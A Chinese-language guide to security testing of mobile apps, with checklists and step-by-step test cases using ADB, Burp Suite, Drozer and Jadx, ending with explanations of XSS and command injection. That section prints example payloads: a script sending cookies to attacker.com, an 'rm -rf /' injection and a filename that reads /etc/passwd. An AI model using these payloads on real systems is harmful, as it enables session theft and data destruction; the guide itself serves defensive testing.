安全测试核心领域#
数据安全测试#
-
存储安全
- 测试点:本地数据库、SharedPreferences/NSUserDefaults、缓存文件、日志文件。
- 方法:使用工具(如 ADB、SQLite 浏览器)检查本地存储的敏感数据(如密码、Token)是否明文存储。
- 工具:MobSF(静态分析)、DB Browser for SQLite。
-
传输安全
- 测试点:HTTPS 通信、证书校验、弱加密算法(如 SSLv3、SHA1)。
- 方法:抓包工具拦截请求,验证是否强制使用 TLS 1.2+,检查证书是否有效(如防中间人攻击)。
- 工具:Burp Suite、Wireshark、Charles Proxy。
-
隐私合规
- 测试点:用户数据收集是否符合 GDPR、CCPA 等法规,隐私政策是否明确。
- 方法:检查应用权限是否最小化(如无需摄像头却请求权限)。
身份认证与授权#
- 认证机制
- 测试点:弱密码策略、多因素认证、生物识别安全性。
- 方法:模拟暴力破解(如使用工具 Hydra)、绕过生物识别(如假指纹)。
- 会话管理
- 测试点:Token 有效期、注销后 Token 失效、会话劫持。
- 方法:篡改 Token 重放请求(通过 Burp Repeater 模块测试)。
代码与逆向安全#
- 代码混淆
- 测试点:反编译后代码可读性(如是否使用 ProGuard/R8)。
- 方法:使用 Jadx/Ghidra 反编译 APK/IPA,检查关键逻辑是否暴露。
- 反调试机制
- 测试点:检测调试器、防止动态注入(如 Frida)。
- 方法:使用 Frida 尝试 Hook 关键函数,测试应用是否崩溃或触发防护。
服务端与 API 安全#
- 接口安全
- 测试点:越权访问(水平 / 垂直越权)、参数篡改(如修改用户 ID)。
- 方法:使用 Postman 构造请求,测试非授权用户能否访问他人数据。
- 注入攻击
- 测试点:SQL 注入、XSS、命令注入。
- 方法:输入特殊字符(如
' OR 1=1--
)测试接口响应。
组件安全(Android 特有)#
- 四大组件暴露
- 测试点:Activity、Service、Broadcast Receiver、Content Provider 的导出风险。
- 方法:使用 Drozer 扫描组件,尝试未授权访问(如
adb shell am start -n com.example/.DebugActivity
)。
- Intent 劫持
- 测试点:恶意应用通过 Intent 获取敏感数据。
- 方法:构造恶意 Intent 发送数据,检查应用是否过滤输入。
运行时安全#
- 日志泄露
- 测试点:调试日志中是否包含敏感信息。
- 方法:运行应用并通过 Logcat 查看日志输出。
- 内存安全
- 测试点:敏感信息在内存中的残留(如密码明文)。
- 工具:使用 Fridump 或 Memory Profiler 检查内存快照。
第三方依赖安全#
- 库漏洞
- 测试点:第三方 SDK / 库版本是否存在已知漏洞(如 Apache Commons 旧版本)。
- 工具:OWASP Dependency-Check、Snyk。
- 广告 SDK 风险
- 测试点:恶意广告 SDK 收集用户数据。
- 方法:审查 SDK 权限及网络请求行为。
测试方法与工具#
静态分析#
- 目的:在不运行代码的情况下分析潜在漏洞。
- 工具:
- MobSF:自动化扫描 APK/IPA,检测不安全配置、硬编码密钥。
- SonarQube:检查代码中的安全漏洞(如 SQL 注入片段)。
动态分析#
- 目的:在运行中检测漏洞(如数据泄露、API 缺陷)。
- 工具:
- Burp Suite:拦截修改请求,测试越权、注入。
- Drozer(Android):动态测试组件安全。
渗透测试#
- 模拟攻击场景:
- 中间人攻击(通过 Burp 安装自签名证书)。
- 逆向工程(使用 Frida 绕过认证逻辑)。
自动化扫描#
- 工具:
- OWASP ZAP:自动化漏洞扫描(如 XSS、CSRF)。
- Nessus:网络层漏洞扫描(如服务器配置错误)。
常见场景和详细测试用例#
数据安全测试 - 存储安全#
场景
用户登录后,应用将密码明文存储在本地数据库的users
表中。
测试用例
-
标题:验证用户密码是否加密存储
-
步骤:
- 安装应用并完成用户注册 / 登录流程。
- 使用
adb shell
进入设备,找到应用数据目录:adb shell "run-as com.example.app ls /data/data/com.example.app/databases"
- 导出数据库文件到本地:
adb pull /data/data/com.example.app/databases/user.db
- 使用 DB Browser for SQLite 打开
user.db
,检查users
表中的密码字段是否为明文。
-
预期结果:密码字段应为哈希值(如 SHA-256)或加密后的密文。
-
工具:ADB、DB Browser for SQLite
-
风险等级:高危(明文存储可被恶意应用直接窃取)
数据安全测试 - 传输安全#
场景
应用在登录时使用 HTTP 协议传输用户凭证,未启用 HTTPS。
测试用例
- 标题:验证登录请求是否强制使用 HTTPS
- 步骤:
- 配置 Burp Suite 代理,设置手机网络代理指向 Burp。
- 在应用内执行登录操作,Burp 拦截请求。
- 检查请求 URL 是否为
https://
,若为http://
,尝试修改请求内容(如密码字段)并重放。 - 观察服务端是否接受未加密请求。
- 预期结果:登录请求仅允许 HTTPS,修改后的 HTTP 请求应被拒绝(返回 4xx/5xx 错误)。
- 工具:Burp Suite
- 风险等级:高危(中间人可窃取用户凭证)
身份认证 - 弱密码策略#
场景
应用允许用户设置 “123456” 等弱密码。
测试用例
- 标题:验证密码复杂度策略是否生效
- 步骤:
- 在注册 / 修改密码页面,尝试输入以下密码:
123456
(纯数字)password
(常见弱密码)abc
(长度不足)
- 检查应用是否提示 “密码需包含大小写字母、数字且长度≥8 位”。
- 若允许设置弱密码,记录漏洞。
- 在注册 / 修改密码页面,尝试输入以下密码:
- 预期结果:应用应拒绝弱密码并提示复杂度要求。
- 风险等级:中危(易被暴力破解)
会话管理 - Token 失效测试#
场景
用户注销后,应用未使 Token 失效,导致会话劫持。
测试用例
- 标题:验证注销后 Token 是否立即失效
- 步骤:
- 用户 A 登录应用,使用 Burp 拦截获取其身份 Token(如
Authorization: Bearer xxxx
)。 - 用户 A 执行注销操作。
- 使用 Burp Repeater 模块,携带用户 A 的 Token 访问需授权的 API(如
GET /api/user/profile
)。 - 检查服务端是否返回
401 Unauthorized
。
- 用户 A 登录应用,使用 Burp 拦截获取其身份 Token(如
- 预期结果:注销后 Token 应立即失效,无法访问敏感接口。
- 工具:Burp Suite
- 风险等级:中危(可导致用户账户被劫持)
代码混淆 - 反编译暴露逻辑#
场景
应用未启用代码混淆,关键算法(如加密逻辑)在反编译后暴露。
测试用例
- 标题:验证 APK/IPA 是否经过代码混淆
- 步骤:
- 使用
apktool
解包 APK 文件:apktool d app-release.apk -o output_dir
- 使用 Jadx 打开 APK,查看
com.example.app.util.CryptoUtils
类。 - 检查加密函数(如
encryptPassword()
)是否以明文逻辑显示(如直接调用 AES 密钥)。
- 使用
- 预期结果:关键代码应被混淆(如类名、方法名随机化,逻辑难以阅读)。
- 工具:Jadx、apktool
- 风险等级:中危(攻击者可逆向加密逻辑)
服务端 API - 水平越权#
场景
通过修改用户 ID 参数,普通用户可访问其他用户的数据。
测试用例
- 标题:验证用户是否能越权访问他人数据
- 步骤:
- 用户 A(普通用户)登录,访问
GET /api/users/123/profile
获取自身数据。 - 使用 Burp 拦截请求,将 URL 中的用户 ID 修改为
456
(其他用户)。 - 重放请求,检查是否返回用户 ID=456 的数据。
- 用户 A(普通用户)登录,访问
- 预期结果:服务端应返回
403 Forbidden
,禁止非授权访问。 - 工具:Burp Suite
- 风险等级:高危(数据泄露)
Android 组件安全 - 暴露的 Activity#
场景
应用的调试 Activity(如DebugActivity
)被导出,无需权限即可启动。
测试用例
- 标题:验证非导出 Activity 是否被保护
- 步骤:
- 使用 Drozer 扫描应用组件:
dz> run app.package.attacksurface com.example.app
- 找到导出的 Activity,尝试通过 ADB 启动:
adb shell am start -n com.example.app/.DebugActivity
- 观察是否成功进入调试界面(如日志输出、敏感功能)。
- 使用 Drozer 扫描应用组件:
- 预期结果:非必要的 Activity 应设置为
android:exported="false"
。 - 工具:Drozer、ADB
- 风险等级:高危(攻击者可利用调试功能)
运行时安全 - 日志泄露敏感信息#
场景
应用在调试日志中打印用户手机号或 Token。
测试用例
- 标题:验证日志中是否泄露敏感数据
- 步骤:
- 使用 Android Studio 的 Logcat 监控应用日志。
- 执行敏感操作(如登录、查看个人资料)。
- 搜索关键词:
token
、phone
、password
。 - 检查日志中是否明文显示敏感信息。
- 预期结果:日志中仅包含脱敏信息(如
token=***
)。 - 工具:Android Studio Logcat
- 风险等级:中危(恶意应用可读取日志)
第三方依赖 - 已知库漏洞#
场景
应用使用含 CVE 漏洞的旧版本 OkHttp(如 CVE-2023-3635)。
CVE(Common Vulnerabilities and Exposures)公共漏洞和暴露
测试用例
- 标题:验证第三方库是否存在已知漏洞
- 步骤:
- 使用 OWASP Dependency-Check 扫描应用依赖:
dependency-check --project MyApp --scan ./app/libs
- 检查报告中的漏洞列表,确认是否包含高风险 CVE。
- 比对当前版本与官方修复版本(如 OkHttp 4.10.0→4.12.0)。
- 使用 OWASP Dependency-Check 扫描应用依赖:
- 预期结果:所有第三方库应为最新无漏洞版本。
- 工具:OWASP Dependency-Check
- 风险等级:高危(可导致远程代码执行)
参考资料和概念解释#
OWASP(Open Worldwide Application Security Project,开放全球应用安全项目)是一个非营利性国际组织,专注于研究和改进应用软件安全。它的核心目标是帮助开发者、测试人员和企业构建和维护安全的应用程序,通过公开分享知识、工具和最佳实践来降低安全风险。
1.OWASP MASTG(Mobile Application Security Testing Guide)
2.OWASP MASVS (Mobile Application Security Verification Standard)
SharedPreferences/NSUserDefaults#
SharedPreferences(Android) 和 NSUserDefaults(iOS) 是移动应用开发中用于存储轻量级键值对数据(Key-Value)的本地存储机制。它们主要用于保存应用的简单配置、用户偏好设置或临时状态数据,但需注意其安全性问题。
测试场景
- 检查明文存储
- Android:通过
adb
导出/data/data/<包名>/shared_prefs/
下的 XML 文件,搜索敏感字段。 - iOS:越狱设备中直接查看
.plist
文件,或使用NSUserDefaults
读取工具(如iExplorer
)。
- Android:通过
- 验证加密
- 若使用加密库(如 Android 的
Jetpack Security
),检查密钥管理是否安全(如是否硬编码密钥)。
典型漏洞案例
- 若使用加密库(如 Android 的
- 案例 1:某社交应用将用户身份 Token 明文存储在
SharedPreferences
,Root 设备后可直接窃取 Token 进行账户劫持。 - 案例 2:某金融应用通过
NSUserDefaults
存储临时密码,越狱设备读取.plist
文件后绕过身份验证。
XSS / 命令注入#
XSS#
跨站脚本攻击,Cross-Site Scripting
定义
攻击者向网页中注入恶意脚本(如 JavaScript),当其他用户访问该页面时,脚本在其浏览器执行,窃取数据或劫持会话。
原理
- 漏洞根源:应用程序未对用户输入的内容进行转义,直接输出到 HTML 中。
- 攻击方式:在可输入区域(评论、个人资料)插入
<script>
标签或事件属性(如onerror
)。
分类
- 存储型 XSS
- 场景:恶意脚本被保存到服务器(如论坛评论),所有访问者触发。
- 示例:
窃取用户 Cookie。
<script>fetch('https://attacker.com?cookie='+document.cookie)</script>
- 反射型 XSS
- 场景:恶意脚本通过 URL 参数传递,仅当前用户触发。
- 示例:
页面直接显示
https://example.com/search?q=<script>alert(1)</script>
q
参数内容,触发弹窗。
- DOM 型 XSS
- 场景:前端 JavaScript 操作 DOM 时未转义数据。
- 示例:
访问
document.getElementById("output").innerHTML = location.hash.slice(1);
https://example.com#<img src=x onerror=alert(1)>
触发攻击。
命令注入#
定义
攻击者在应用程序调用系统命令时,注入恶意参数,导致执行非预期的操作系统命令(如删除文件、启动服务)。
原理
- 漏洞根源:应用程序直接将用户输入拼接到系统命令中。
- 攻击方式:在输入中插入命令分隔符(如
;
、&&
、|
)。
常见场景
- Web 应用调用系统命令
- 输入 IP 地址:
8.8.8.8; rm -rf /
,触发命令:ping 8.8.8.8; rm -rf / # 执行 ping 后删除服务器文件
- 输入 IP 地址:
- 文件上传功能
- 上传文件名:
file.jpg; cat /etc/passwd > output.txt
,读取系统密码文件。
- 上传文件名: